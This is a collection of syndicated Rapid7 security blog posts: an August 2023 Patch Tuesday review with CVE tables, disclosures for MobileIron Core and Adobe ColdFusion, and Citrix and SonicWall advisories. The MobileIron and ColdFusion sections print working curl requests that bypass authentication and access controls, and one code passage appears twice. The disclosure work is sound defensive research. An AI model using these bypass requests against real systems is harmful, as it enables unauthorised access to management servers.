Tag Archives: Vulnerability management

Patch Tuesday – August 2023

Post Syndicated from Adam Barnett original https://blog.rapid7.com/2023/08/08/patch-tuesday-august-2023/

Patch Tuesday - August 2023

Microsoft is addressing 86 vulnerabilities this August Patch Tuesday, including one zero-day vulnerability, as well as five critical remote code execution (RCE) vulnerabilities, and 12 browser vulnerabilities. An unpatched zero-day malicious document vulnerability from July also receives Windows OS updates and clarification in August.

ASP.NET: zero-day denial of service in Kestrel web server

The lone zero-day vulnerability patched this month is CVE-2023-38180, a denial of service (DoS) vulnerability in .NET , ASP.NET Core 2.1, and recent versions of Visual Studio. Microsoft is aware of in-the-wild exploitation. While the only impact noted is availability, administrators responsible for web apps built on ASP.NET are well-advised to patch as soon as possible. The cross-platform Kestrel web server is included in ASP.NET Core, and contains protections so that it can detect and disconnect a potentially malicious client. However, Kestrel will sometimes fail to disconnect the client, leading to denial of service. Microsoft notes that mitigating factors may include a reverse proxy or Web Application Firewall (WAF), since these are designed to detect and mitigate HTTP-based attacks.

Teams: critical remote execution vuln via malicious meeting

Potentially of greater concern are a pair of Microsoft Teams critical remote code execution (RCE) vulnerabilities. While the CVSS base score of 8.8 is at the top end of NVD’s High severity, Microsoft assesses both CVE-2023-29328 and CVE-2023-29330 as Critical on its own proprietary severity rating, and the advisories make clear why that is: both vulnerabilities allow an attacker to execute code in the context of anyone who joins a Teams meeting set up by the attacker. This affects Teams on all platforms: Windows Desktop, macOS, iOS, and Android. Given how widely Teams is used not just within organizations, but for collaboration outside of the organization in contexts requiring a level of trust of third parties not known to participants  – pre-sales calls, scoping calls, industry association calls and so on – these vulnerabilities surely deserve immediate remediation attention.

Windows MSMQ: critical RCE

The Windows Message Queuing Service is once again the site of multiple critical RCE vulnerabilities this month. CVE-2023-36910, CVE-2023-36911, and CVE-2023-35385 all come with a CVSSv3 base score of 9.8, reflecting the serious potential impact, lack of privileges required, and low attack complexity. One mitigating factor: the Microsoft Message Queueing Service must be enabled and listening on port 1801 for an asset to be vulnerable, and the Message Queueing Service is not installed by default. As Rapid7 has noted previously, however, a number of applications – including Microsoft Exchange – may quietly introduce MSMQ as part of their own installation routine.

Outlook: critical maldoc arbitrary code execution

Rounding out the August critical RCE vulnerabilities, CVE-2023-36895 describes a flaw in Microsoft Outlook where an attacker who can convince a user to open a specially-crafted malicious file will be able to execute code in the context of the victim. Patch Tuesday watchers will be familiar with Microsoft’s clarification that this type of exploit is sometimes referred to as arbitrary code execution (ACE) since the attack is local – a malicious document opened on the asset – even if the attacker is remote. With no known public disclosure, no known exploitation in the wild, and Microsoft assessing that exploitation is less likely, this is hopefully a case of patch-and-forget.

July unpatched zero-day: revised and patched in August

One month ago, on Patch Tuesday July 2023, Microsoft published a zero-day vulnerability for which they provided no patch, leaving many defenders understandably concerned. Exploitation of CVE-2023-36884 requires that the user opens a malicious document crafted by an attacker, and as Rapid7 noted at the time of publication, Microsoft did provide several mitigation strategies. Happily, the August 2023 Windows updates bring relief from CVE-2023-36884 in the form of patches for every current version of Windows: from Windows 11 and Server 2022 all the way back to Windows Server 2008 for 32-bit Systems Service Pack 2. These patches supersede last month’s mitigation advice, but at least some of those mitigation strategies remain generally applicable.

The advisory for CVE-2023-36884 has been radically updated today with a new title (Windows Search Remote Code Execution Vulnerability) in place of the previous title (Office and Windows HTML Remote Code Execution Vulnerability). Microsoft now states that the vulnerability is in fact a Windows Search security bypass involving a Mark of the Web (MOTW) removal leading to code execution on the victim system. Microsoft has also released a complementary non-CVE advisory ADV230003 with the latest defense-in-depth advice for Microsoft Office administrators; Microsoft claims that following the defense-in-depth advice will stop the attack chain leading to exploitation of CVE-2023-36884, and thus potentially also protect against other as-yet-unknown vulnerabilities. However, defenders should consider that other attack chains may exist which do not involve Office at all.

Exchange: critical elevation of privilege

Exploitation of CVE-2023-21709 allows an attacker to authenticate as a different user. Exchange admins should note that additional remediation actions must be taken after patching. Although the CVSSv3 base score is a Critical-ranked 9.8, Microsoft’s proprietary severity scale assesses this vulnerability as Important rather than Critical, since exploitation involves brute-forcing passwords, and strong passwords are challenging to brute force.

Summary Charts

Patch Tuesday - August 2023
Message Queueing and Exchange again.
Patch Tuesday - August 2023
Remote Code Execution covers a broad range of exploits.
Patch Tuesday - August 2023
A typical distribution of CVSSv3 base scores.
Patch Tuesday - August 2023
This heatmap shows distribution of vulnerabilities, rather than risk.

Summary Tables

Azure vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2023-38176 Azure Arc-Enabled Servers Elevation of Privilege Vulnerability No No 7
CVE-2023-35394 Azure HDInsight Jupyter Notebook Spoofing Vulnerability No No 4.6
CVE-2023-36877 Azure Apache Oozie Spoofing Vulnerability No No 4.5
CVE-2023-35393 Azure Apache Hive Spoofing Vulnerability No No 4.5
CVE-2023-38188 Azure Apache Hadoop Spoofing Vulnerability No No 4.5
CVE-2023-36881 Azure Apache Ambari Spoofing Vulnerability No No 4.5

Azure Developer Tools vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2023-36869 Azure DevOps Server Spoofing Vulnerability No No 6.3

Browser vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2023-38157 Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability No No 6.5
CVE-2023-4078 Chromium: CVE-2023-4078 Inappropriate implementation in Extensions No No N/A
CVE-2023-4077 Chromium: CVE-2023-4077 Insufficient data validation in Extensions No No N/A
CVE-2023-4076 Chromium: CVE-2023-4076 Use after free in WebRTC No No N/A
CVE-2023-4075 Chromium: CVE-2023-4075 Use after free in Cast No No N/A
CVE-2023-4074 Chromium: CVE-2023-4074 Use after free in Blink Task Scheduling No No N/A
CVE-2023-4073 Chromium: CVE-2023-4073 Out of bounds memory access in ANGLE No No N/A
CVE-2023-4072 Chromium: CVE-2023-4072 Out of bounds read and write in WebGL No No N/A
CVE-2023-4071 Chromium: CVE-2023-4071 Heap buffer overflow in Visuals No No N/A
CVE-2023-4070 Chromium: CVE-2023-4070 Type Confusion in V8 No No N/A
CVE-2023-4069 Chromium: CVE-2023-4069 Type Confusion in V8 No No N/A
CVE-2023-4068 Chromium: CVE-2023-4068 Type Confusion in V8 No No N/A

Developer Tools vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2023-35390 .NET and Visual Studio Remote Code Execution Vulnerability No No 7.8
CVE-2023-36899 ASP.NET Elevation of Privilege Vulnerability No No 7.5
CVE-2023-38180 .NET and Visual Studio Denial of Service Vulnerability Yes No 7.5
CVE-2023-38178 .NET Core and Visual Studio Denial of Service Vulnerability No No 7.5
CVE-2023-36873 .NET Framework Spoofing Vulnerability No No 7.4
CVE-2023-35391 ASP.NET Core SignalR and Visual Studio Information Disclosure Vulnerability No No 7.1

Developer Tools Microsoft Office vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2023-36897 Visual Studio Tools for Office Runtime Spoofing Vulnerability No No 8.1

ESU vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2023-35379 Reliability Analysis Metrics Calculation Engine (RACEng) Elevation of Privilege Vulnerability No No 7.8
CVE-2023-36876 Reliability Analysis Metrics Calculation (RacTask) Elevation of Privilege Vulnerability No No 7.1

Exchange Server vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2023-21709 Microsoft Exchange Server Elevation of Privilege Vulnerability No No 9.8
CVE-2023-38181 Microsoft Exchange Server Spoofing Vulnerability No No 8.8
CVE-2023-38185 Microsoft Exchange Server Remote Code Execution Vulnerability No No 8.8
CVE-2023-35368 Microsoft Exchange Remote Code Execution Vulnerability No No 8.8
CVE-2023-35388 Microsoft Exchange Server Remote Code Execution Vulnerability No No 8
CVE-2023-38182 Microsoft Exchange Server Remote Code Execution Vulnerability No No 8

Microsoft Dynamics vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2023-38167 Microsoft Dynamics Business Central Elevation Of Privilege Vulnerability No No 7.2
CVE-2023-35389 Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability No No 6.5

Microsoft Office vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2023-29328 Microsoft Teams Remote Code Execution Vulnerability No No 8.8
CVE-2023-29330 Microsoft Teams Remote Code Execution Vulnerability No No 8.8
CVE-2023-36891 Microsoft SharePoint Server Spoofing Vulnerability No No 8
CVE-2023-36892 Microsoft SharePoint Server Spoofing Vulnerability No No 8
CVE-2023-36895 Microsoft Outlook Remote Code Execution Vulnerability No No 7.8
CVE-2023-36865 Microsoft Office Visio Remote Code Execution Vulnerability No No 7.8
CVE-2023-36866 Microsoft Office Visio Remote Code Execution Vulnerability No No 7.8
CVE-2023-35372 Microsoft Office Visio Remote Code Execution Vulnerability No No 7.8
CVE-2023-35371 Microsoft Office Remote Code Execution Vulnerability No No 7.8
CVE-2023-36896 Microsoft Excel Remote Code Execution Vulnerability No No 7.8
CVE-2023-36890 Microsoft SharePoint Server Information Disclosure Vulnerability No No 6.5
CVE-2023-36894 Microsoft SharePoint Server Information Disclosure Vulnerability No No 6.5
CVE-2023-36893 Microsoft Outlook Spoofing Vulnerability No No 6.5

SQL Server vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2023-38169 Microsoft OLE DB Remote Code Execution Vulnerability No No 8.8

System Center vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2023-38175 Microsoft Windows Defender Elevation of Privilege Vulnerability No No 7.8

Windows vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2023-35387 Windows Bluetooth A2DP driver Elevation of Privilege Vulnerability No No 8.8
CVE-2023-38186 Windows Mobile Device Management Elevation of Privilege Vulnerability No No 7.8
CVE-2023-35382 Windows Kernel Elevation of Privilege Vulnerability No No 7.8
CVE-2023-35386 Windows Kernel Elevation of Privilege Vulnerability No No 7.8
CVE-2023-38154 Windows Kernel Elevation of Privilege Vulnerability No No 7.8
CVE-2023-36904 Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability No No 7.8
CVE-2023-36898 Tablet Windows User Interface Application Core Remote Code Execution Vulnerability No No 7.8
CVE-2023-38170 HEVC Video Extensions Remote Code Execution Vulnerability No No 7.8
CVE-2023-35378 Windows Projected File System Elevation of Privilege Vulnerability No No 7
CVE-2023-36905 Windows Wireless Wide Area Network Service (WwanSvc) Information Disclosure Vulnerability No No 5.5
CVE-2023-36914 Windows Smart Card Resource Management Server Security Feature Bypass Vulnerability No No 5.5
CVE-2023-35384 Windows HTML Platforms Security Feature Bypass Vulnerability No No 5.4

Windows ESU vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2023-36910 Microsoft Message Queuing Remote Code Execution Vulnerability No No 9.8
CVE-2023-36911 Microsoft Message Queuing Remote Code Execution Vulnerability No No 9.8
CVE-2023-35385 Microsoft Message Queuing Remote Code Execution Vulnerability No No 9.8
CVE-2023-35381 Windows Fax Service Remote Code Execution Vulnerability No No 8.8
CVE-2023-36882 Microsoft WDAC OLE DB provider for SQL Server Remote Code Execution Vulnerability No No 8.8
CVE-2023-36903 Windows System Assessment Tool Elevation of Privilege Vulnerability No No 7.8
CVE-2023-35359 Windows Kernel Elevation of Privilege Vulnerability No No 7.8
CVE-2023-35380 Windows Kernel Elevation of Privilege Vulnerability No No 7.8
CVE-2023-36900 Windows Common Log File System Driver Elevation of Privilege Vulnerability No No 7.8
CVE-2023-38184 Windows Lightweight Directory Access Protocol (LDAP) Remote Code Execution Vulnerability No No 7.5
CVE-2023-35383 Microsoft Message Queuing Information Disclosure Vulnerability No No 7.5
CVE-2023-36912 Microsoft Message Queuing Denial of Service Vulnerability No No 7.5
CVE-2023-38172 Microsoft Message Queuing Denial of Service Vulnerability No No 7.5
CVE-2023-36913 Microsoft Message Queuing Information Disclosure Vulnerability No No 6.5
CVE-2023-36909 Microsoft Message Queuing Denial of Service Vulnerability No No 6.5
CVE-2023-35376 Microsoft Message Queuing Denial of Service Vulnerability No No 6.5
CVE-2023-38254 Microsoft Message Queuing Denial of Service Vulnerability No No 6.5
CVE-2023-35377 Microsoft Message Queuing Denial of Service Vulnerability No No 6.5
CVE-2023-36908 Windows Hyper-V Information Disclosure Vulnerability No No 5.7
CVE-2023-36889 Windows Group Policy Security Feature Bypass Vulnerability No No 5.5
CVE-2023-36906 Windows Cryptographic Services Information Disclosure Vulnerability No No 5.5
CVE-2023-36907 Windows Cryptographic Services Information Disclosure Vulnerability No No 5.5
CVE-2023-20569 AMD: CVE-2023-20569 Return Address Predictor No No N/A

CVE-2023-35082 – MobileIron Core Unauthenticated API Access Vulnerability

Post Syndicated from Stephen Fewer original https://blog.rapid7.com/2023/08/02/cve-2023-35082-mobileiron-core-unauthenticated-api-access-vulnerability/

Overview

CVE-2023-35082 - MobileIron Core Unauthenticated API Access Vulnerability

While investigating CVE-2023-35078, a critical API access vulnerability in Ivanti Endpoint Manager Mobile and MobileIron Core that was exploited in the wild, Rapid7 discovered a new vulnerability that allows unauthenticated attackers to access the API in older unsupported versions of MobileIron Core (11.2 and below). Rapid7 reported this vulnerability to Ivanti on July 26, 2023 and we are now disclosing it in accordance with our vulnerability disclosure policy. The new vulnerability has been assigned CVE-2023-35082.

Since CVE-2023-35082 arises from the same place as CVE-2023-35078, specifically the permissive nature of certain entries in the mifs web application’s security filter chain, Rapid7 would consider this new vulnerability a patch bypass for CVE-2023-35078 as it pertains to version 11.2 and below of the product. For additional context on CVE-2023-35078 and its impact, see Rapid7’s emergent threat response blog here and our AttackerKB assessment of the vulnerability.

Product Description

Ivanti Endpoint Manager Mobile (EPMM), formerly MobileIron Core, is a management platform that allows an organization to manage mobile devices such as phones and tablets; enforcing content and application policies on these devices. The product was previously called MobileIron Core, and was rebranded to Endpoint Manager Mobile after Ivanti acquired MobileIron in 2020.

Versions 11.8 and above of the product are Endpoint Manager Mobile. The version of the product Rapid7 determined was vulnerable to CVE-2023-35082 is MobileIron Core. Ivanti told Rapid7 that CVE-2023-35082 affects the following versions of the product:

  • MobileIron Core 11.2 and below

Ivanti’s advisory for CVE-2023-35082 is here.

Credit

This issue was discovered by Stephen Fewer, a Principal Security Researcher at Rapid7, and is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Vendor Statement

We are grateful to Rapid7 for their discovery of an issue in MobileIron Core 11.2, a version which went out of support on March 15, 2022. The issue is also present in prior versions of the product which are out of support. We will not be providing any remediation for this vulnerability as the issue was incidentally resolved as a product bug in MobileIron Core 11.3 and had not previously been identified as a vulnerability. We are actively working with our customers to upgrade to the latest version of Ivanti Endpoint Manager Mobile (EPMM) or migrate to the cloud version of the product, Ivanti Neurons for MDM.

The security of our customers is Ivanti’s top priority, and we regularly provide updates to the supported versions of our solutions to protect customers from new and emerging threats. We are upholding our commitment to deliver and maintain secure products, and investing significant resources to ensure that all our solutions continue to meet our own high standards.

Impact

CVE-2023-35082 allows a remote unauthenticated attacker to access the API endpoints on an exposed management server. An attacker can use these API endpoints to perform a multitude of operations as outlined in the official API documents, including the ability to disclose personally identifiable information (PII) and perform modifications to the platform. Additionally, should a separate vulnerability be present in the API, an attacker can chain these vulnerabilities together. For example, CVE-2023-35081 could be chained with CVE-2023-35082 to allow an attacker write malicious webshell files to the appliance, which may then be executed by the attacker.

Exploitation

In our testing of CVE-2023-35078, we had access to MobileIron Core version 11.2.0.0-31. After reproducing the original vulnerability, we proceeded to apply Ivanti’s hotfix ivanti-security-update-1.0.0-1.noarch.rpm as per the Ivanti Knowledge Base article 000087042. We verified that the hotfix does successfully remediate CVE-2023-35078. However, we found a variation of the same attack that enables a remote attacker to access the API endpoints without authentication.

First we installed MobileIron Core 11.2.0.0-31 and verified we could leverage CVE-2023-35078 to access an API endpoint unauthenticated. Note the inclusion of the /aad/ segment in the URL path to exploit the original vulnerability, CVE-2023-35078.

c:\> curl -k https://192.168.86.103/mifs/aad/api/v2/ping
{"results":{"apiVersion":2.0,"vspVersion":"VSP 11.2.0.0 Build 31 "}}

We then installed the vendor-supplied hotfix ivanti-security-update-1.0.0-1.noarch.rpm. After we rebooted the system, we verified the hotfix prevents the original exploit request shown above.

c:\> curl -k https://192.168.86.103/mifs/aad/api/v2/ping
<html>
<body>
        <h2>HTTP Status 403 - Access is denied</h2>
        <h3>You are unauthorized to access this page.</h3>
</body>
</html>

However, a variation of the above request is still able to access the API endpoints without authentication, as shown below. Note the use of /asfV3/ in the URL path in place of the original exploit’s use of /aad/.

c:\> curl -k https://192.168.86.103/mifs/asfV3/api/v2/ping
{"results":{"apiVersion":2.0,"vspVersion":"VSP 11.2.0.0 Build 31 "}}

Indicators of Compromise

The following indicators of compromise are present in the Apache HTTP logs stored on the appliance.

The log file /var/log/httpd/https-access_log will have an entry showing a request to a targeted API endpoint, containing /mifs/asfV3/api/v2/ in the path with a HTTP response code of 200. Blocked exploitation attempts will show an HTTP response code of either 401 or 403. For example:

192.168.86.34:61736 - - 2023-07-28--15-24-51 "GET /mifs/asfV3/api/v2/ping HTTP/1.1" 200 68 "-" "curl/8.0.1" 3285

Similarly, the log file /var/log/httpd/https-request_log will have an entry showing a request to a targeted API endpoint containing /mifs/asfV3/api/v2/ in the path. For example:

2023-07-28--15-24-51 192.168.86.34 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /mifs/asfV3/api/v2/ping HTTP/1.1" 68 "-" "curl/8.0.1"

Note that log entries containing /mifs/asfV3/api/v2/ in the path indicate exploitation of CVE-2023-35082, whilst log entries containing /mifs/aad/api/v2/ in the path indicate exploitation of CVE-2023-35078.

Remediation

MobileIron Core customers who are running unsupported versions of the product, including versions affected by CVE-2023-35082 (MobileIron Core 11.2 and below), should upgrade to a supported version as soon as possible.

Rapid7 Customers

Rapid7 customers will have unauthenticated detection of this vulnerability in August 2, 2023’s content release.

Timeline

  • July 26, 2023: Rapid7 sends disclosure information to Ivanti security.
  • July 28, 2023: Rapid7 contacts Ivanti via a second channel to confirm receipt of disclosure information. Ivanti confirms initial disclosure was not received. Rapid7 resends disclosure documents. Ivanti confirms receipt.
  • July 28, 2023: Ivanti confirms findings.
  • July 31, 2023: Ivanti confirms a security advisory will be published, requests a call with Rapid7 to address what they consider inaccuracies in our disclosure.
  • August 1, 2023: Rapid7 and Ivanti discuss the two vulnerabilities (CVE-2023-35078, CVE-2023-35082). Rapid7 agrees to update this disclosure with points of clarification to highlight Ivanti’s perspective. Rapid7 also agrees to clarify product terminology (i.e., that CVE-2023-35082 only affects MobileIron Core, not later versions of the product which were renamed Endpoint Manager Mobile).
  • August 2, 2023: This disclosure.

CVE-2023-38205: Adobe ColdFusion Access Control Bypass [FIXED]

Post Syndicated from Stephen Fewer original https://blog.rapid7.com/2023/07/19/cve-2023-38205-adobe-coldfusion-access-control-bypass-fixed/

CVE-2023-38205: Adobe ColdFusion Access Control Bypass [FIXED]

On July 11, 2023, Rapid7 and Adobe disclosed CVE-2023-29298, an access control bypass vulnerability affecting ColdFusion, which Rapid7 had reported to Adobe in April 2023. The vulnerability allows an attacker to bypass the product feature that restricts external access to the ColdFusion Administrator. Rapid7 and Adobe believed that CVE-2023-29298 was fixed upon publishing our coordinated disclosure (Rapid7 explicitly noted in our disclosure that we had not tested the patch Adobe released).

Upon review of the patch for CVE-2023-29298 as found in ColdFusion 2021 Update 8 (2021.0.08.330144), Rapid7 discovered that the patch released on July 11 does not successfully remediate the original issue and can be bypassed by an attacker. Adobe assigned CVE-2023-38205 to the patch bypass and has issued a complete fix as of July 19, 2023.

Rapid7 has observed exploitation of CVE-2023-29298 in the wild in multiple customer environments. Our team published a blog with observations and guidance for customers on July 17. We have validated that the new patch released July 19 fully remediates the issue.

Affected products

The following products are vulnerable to CVE-2023-38205:

  • Adobe ColdFusion 2023 Update 2 and earlier
  • Adobe ColdFusion 2021 Update 8 and earlier
  • Adobe ColdFusion 2018 Update 18 and earlier

Credit

This issue was discovered by Stephen Fewer, a Principal Security Researcher at Rapid7, and is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Vendor Statement

Adobe provided the following statement to Rapid7:
“Adobe recommends updating ColdFusion installations to the latest release. Please see APSB23-47 for more information. Adobe is aware that CVE-2023-38205 has been exploited in the wild in limited attacks targeting Adobe ColdFusion.”

Analysis

The July 11 patch for CVE-2023-29298 modifies the vulnerable method IPFilterUtils.checkAdminAccess to use a new helper method Utils.canonicalizeURI to transform a URL into its canonical form before performing the access control, as shown below.

  private static final String[] RESTRICTED_INTERNAL_PATHS = new String[] { "/restplay", "/cfide/restplay", "/cfide/administrator", "/cfide/adminapi", "/cfide/main", "/cfide/componentutils", "/cfide/wizards", "/cfide/servermanager", "/cfide/lockdown" };


  public static void checkAdminAccess(HttpServletRequest req) {
    String uri = Utils.getServletPath(req);
    uri = Utils.canonicalizeURI(uri.toLowerCase()); // <----
    for (String restrictedPath : RESTRICTED_INTERNAL_PATHS) {
      if (uri.startsWith(restrictedPath)) {
        String ip = req.getRemoteAddr();
        if (!isAllowedIP(ip))
          throw new AdminAccessdeniedException(ServiceFactory.getSecurityService().getAllowedAdminIPList(), ip);
        break;
      }
    }
  }


The method Utils.canonicalizeURI attempts to remove sequences of characters such as duplicate forward slashes, double dot notation and redundant dot path segments in a URLs path, as shown below.

  public static String canonicalizeURI(String uri) {
    if (uri == null || uri.length() == 0)
      return uri;
    uri = uri.replace('\\', '/');
    uri = trimDuplicateSlashes(uri);
    uri = collapseDotDots(uri); // <----
    uri = trimTrailingDotsSpacesNull(uri);
    if (uri.charAt(0) == '.')
      uri = uri.substring(1);
    uri = substitute(uri, "/./", "/");
    if (uri.endsWith("/."))
      uri = uri.substring(0, uri.length() - 2);
    if (uri.length() == 0)
      uri = "/";
    return uri;
  }

Of note is the method Utils.collapseDotDots, which will remove all path segments that contain a double dot along with the preceding path segment. For example, if a URL path has the string “/hello/../world/” then the method Utils.collapseDotDots would correctly transform this string into “/world/” by deleting the character sequence “/hello/..” via a call to StringBuffer.delete as shown below.

  public static String collapseDotDots(String str) {
    if (str.indexOf("/..") == -1)
      return str;
    StringBuffer sb = new StringBuffer(str);
    int i;
    while ((i = str.indexOf("/..")) != -1) {
      int segmentStart = str.lastIndexOf('/', i - 1);
      sb.delete(segmentStart, i + 3); // <----
      str = sb.toString();
    }
    if (str.length() == 0)
      str = "/";
    return str;
  }  

The method Utils.canonicalizeURI attempts to remove sequences of characters such as duplicate forward slashes, double dot notation and redundant dot path segments in a URLs path, as shown below.

  public static String canonicalizeURI(String uri) {
    if (uri == null || uri.length() == 0)
      return uri;
    uri = uri.replace('\\', '/');
    uri = trimDuplicateSlashes(uri);
    uri = collapseDotDots(uri); // <----
    uri = trimTrailingDotsSpacesNull(uri);
    if (uri.charAt(0) == '.')
      uri = uri.substring(1);
    uri = substitute(uri, "/./", "/");
    if (uri.endsWith("/."))
      uri = uri.substring(0, uri.length() - 2);
    if (uri.length() == 0)
      uri = "/";
    return uri;
  }

Of note is the method `Utils.collapseDotDots`, which will remove all path segments that contain a double dot along with the preceding path segment. For example, if a URL path has the string `“/hello/../world/”` then the method `Utils.collapseDotDots` would correctly transform this string into `“/world/”` by deleting the character sequence `“/hello/..”` via a call to `StringBuffer.delete` as shown below.

  public static String collapseDotDots(String str) {
    if (str.indexOf("/..") == -1)
      return str;
    StringBuffer sb = new StringBuffer(str);
    int i;
    while ((i = str.indexOf("/..")) != -1) {
      int segmentStart = str.lastIndexOf('/', i - 1);
      sb.delete(segmentStart, i + 3); // <----
      str = sb.toString();
    }
    if (str.length() == 0)
      str = "/";
    return str;
  }  

While the above is correct, it exposes an issue in how ColdFusion handles ColdFusion Modules (CFM) and ColdFusion Component (CFC) endpoints when resolving a path to the endpoint. If an attacker accesses a URL path of “/hax/..CFIDE/wizards/common/utils.cfc” the access control can be bypassed and the expected endpoint can still be reached, even though it is not a valid URL path (Note, there is no expected forward slash after the double dot and before CFIDE).

Upon processing this path, the method Utils.collapseDotDots will transform the path to “cfide/wizards/common/utils.cfc” by removing the double dot path segment and the preceding segment “/hax/..”. The path “cfide/wizards/common/utils.cfc” will not be matched against any of the restricted paths in RESTRICTED_INTERNAL_PATHS during IPFilterUtils.checkAdminAccess because it no longer begins with a leading forward slash. This bypasses the access control. However, the underlying Servlet will still process the path “/hax/..CFIDE/wizards/common/utils.cfc”, allowing the expected CFC endpoint to be called. The same is true for CFM endpoints.

Exploitation

The following was tested on Adobe ColdFusion 2021 Update 8 (2021.0.08.330144) running on Windows Server 2022 and configured with the Production and Secure profiles.

We can demonstrate the patch bypass by using the cURL command. For example when attempting to perform a remote method call wizardHash on the /CFIDE/wizards/common/utils.cfc endpoint, the following cURL command can be used — note the use of double dot notation as highlighted below:

Note: The ampersand (&) has been escaped with a caret (^) as this example is run from Windows, on Linux you must escape the ampersand with a forward slash (\).

c:\> curl -ivk --path-as-is http://172.25.25.0:8500/hax/..CFIDE/wizards/common/utils.cfc?method=wizardHash^&inPassword=foo

CVE-2023-38205: Adobe ColdFusion Access Control Bypass [FIXED]

We can see that both the access control and the patch for CVE-2023-29298 have been bypassed and the request completed successfully.

Remediation

Adobe released a fix for this vulnerability on July 19, 2023. The following versions remediate the issue, per Adobe’s advisory:

  • Adobe ColdFusion 2023 Update 3
  • Adobe ColdFusion 2021 Update 9
  • Adobe ColdFusion 2018 Update 19

Since Rapid7 has observed exploitation in the wild, we strongly recommend ColdFusion customers update to the latest versions as soon as possible, without waiting for a typical patch cycle to occur.

Timeline

  • April 11 through July 10, 2023: Rapid7 discloses CVE-2023-29298 to Adobe, Rapid7 and Adobe coordinate disclosure
  • July 11, 2023: Rapid7 and Adobe disclose CVE-2023-29298 publicly
  • July 13 – 15, 2023: Rapid7 detects exploitation of Adobe ColdFusion in the wild, determines attackers are leveraging an exploit chain that ends in remote code execution
  • July 17, 2023: Rapid7 warns customers of ColdFusion exploitation in the wild. Rapid7 discovers the patch for CVE-2023-29298 can be bypassed and informs Adobe. Adobe notifies Rapid7 of their intent to fix the patch bypass.
  • July 18, 2023: Further coordinationJuly 19, 2023: This disclosure.

Critical Zero-Day Vulnerability in Citrix NetScaler ADC and NetScaler Gateway

Post Syndicated from Caitlin Condon original https://blog.rapid7.com/2023/07/18/etr-critical-zero-day-vulnerability-in-citrix-netscaler-adc-and-netscaler-gateway/

Critical Zero-Day Vulnerability in Citrix NetScaler ADC and NetScaler Gateway

On Tuesday, July 18, Citrix published a security bulletin warning users of three new vulnerabilities affecting NetScaler ADC and NetScaler Gateway. Of the three vulnerabilities, CVE-2023-3519 is the most severe—successful exploitation allows unauthenticated attackers to execute code remotely on vulnerable target systems that are configured as a Gateway.  

  • CVE-2023-3466: Reflected XSS vulnerability—successful exploitation requires the victim to access an attacker-controlled link in the browser while being on a network with connectivity to the NetScaler IP (NSIP)
  • CVE-2023-3467: Allows for privilege escalation to root administrator (nsroot)
  • CVE-2023-3519: Unauthenticated remote code execution—NOTE that the appliance must be configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) OR AAA  virtual server

CVE-2023-3519 is known to be exploited in the wild. This product line is a popular target for attackers of all skill levels, and we expect that exploitation will increase quickly. Rapid7 strongly recommends updating to a fixed version on an emergency basis, without waiting for a typical patch cycle to occur. See the Citrix advisory for more information.

Affected Products

According to Citrix, the following supported versions of NetScaler ADC and NetScaler Gateway are affected by the vulnerabilities:

  • NetScaler ADC and NetScaler Gateway 13.1 before 13.1-49.13
  • NetScaler ADC and NetScaler Gateway 13.0 before 13.0-91.13
  • NetScaler ADC 13.1-FIPS before 13.1-37.159
  • NetScaler ADC 12.1-FIPS before 12.1-65.36
  • NetScaler ADC 12.1-NDcPP before 12.65.36

The advisory notes that NetScaler ADC and NetScaler Gateway version 12.1 is End Of Life (EOL) and is vulnerable. Citrix recommends that customers who are using an EOL version upgrade their appliances to one of the supported fixed versions below.

All three CVEs are remediated in the following fixed product versions:

  • NetScaler ADC and NetScaler Gateway 13.1-49.13  and later releases
  • NetScaler ADC and NetScaler Gateway 13.0-91.13  and later releases of 13.0
  • NetScaler ADC 13.1-FIPS 13.1-37.159 and later releases of 13.1-FIPS
  • NetScaler ADC 12.1-FIPS 12.1-65.36 and later releases of 12.1-FIPS
  • NetScaler ADC 12.1-NDcPP 12.1-65.36 and later releases of 12.1-NDcPP

Mitigation guidance

Patches are available for vulnerable versions of NetScaler ADC and NetScaler Gateway and should be applied on an emergency basis. For more information, see Citrix’s advisory.

Rapid7 customers

Our engineering team is investigating vulnerability check implementation options for InsightVM and Nexpose customers. We will update this blog with further information by 2 PM ET.

SonicWall Recommends Urgent Patching for GMS and Analytics CVEs

Post Syndicated from Caitlin Condon original https://blog.rapid7.com/2023/07/13/etr-sonicwall-recommends-urgent-patching-for-gms-and-analytics-cves/

SonicWall Recommends Urgent Patching for GMS and Analytics CVEs

On Wednesday, July 12, 2023, security firm SonicWall published an urgent security advisory warning customers of 15 new vulnerabilities affecting on-premise instances of their Global Management System (GMS) and Analytics products. Four of the vulnerabilities carry critical severity ratings:

  • CVE-2023-34124: Web service authentication bypass
  • CVE-2023-34133: Multiple unauthenticated SQL injection issues and security filter bypass
  • CVE-2023-34134: Password hash read via web service
  • CVE-2023-34137: CAS authentication bypass

The rest of the vulnerabilities include a predictable password reset key issue and a hard-coded Tomcat credentials issue, in addition to command injection, file write, file upload, password hash read, and other issues. SonicWall took the unusual (but not unprecedented) step of issuing an urgent security notice for the new CVEs.

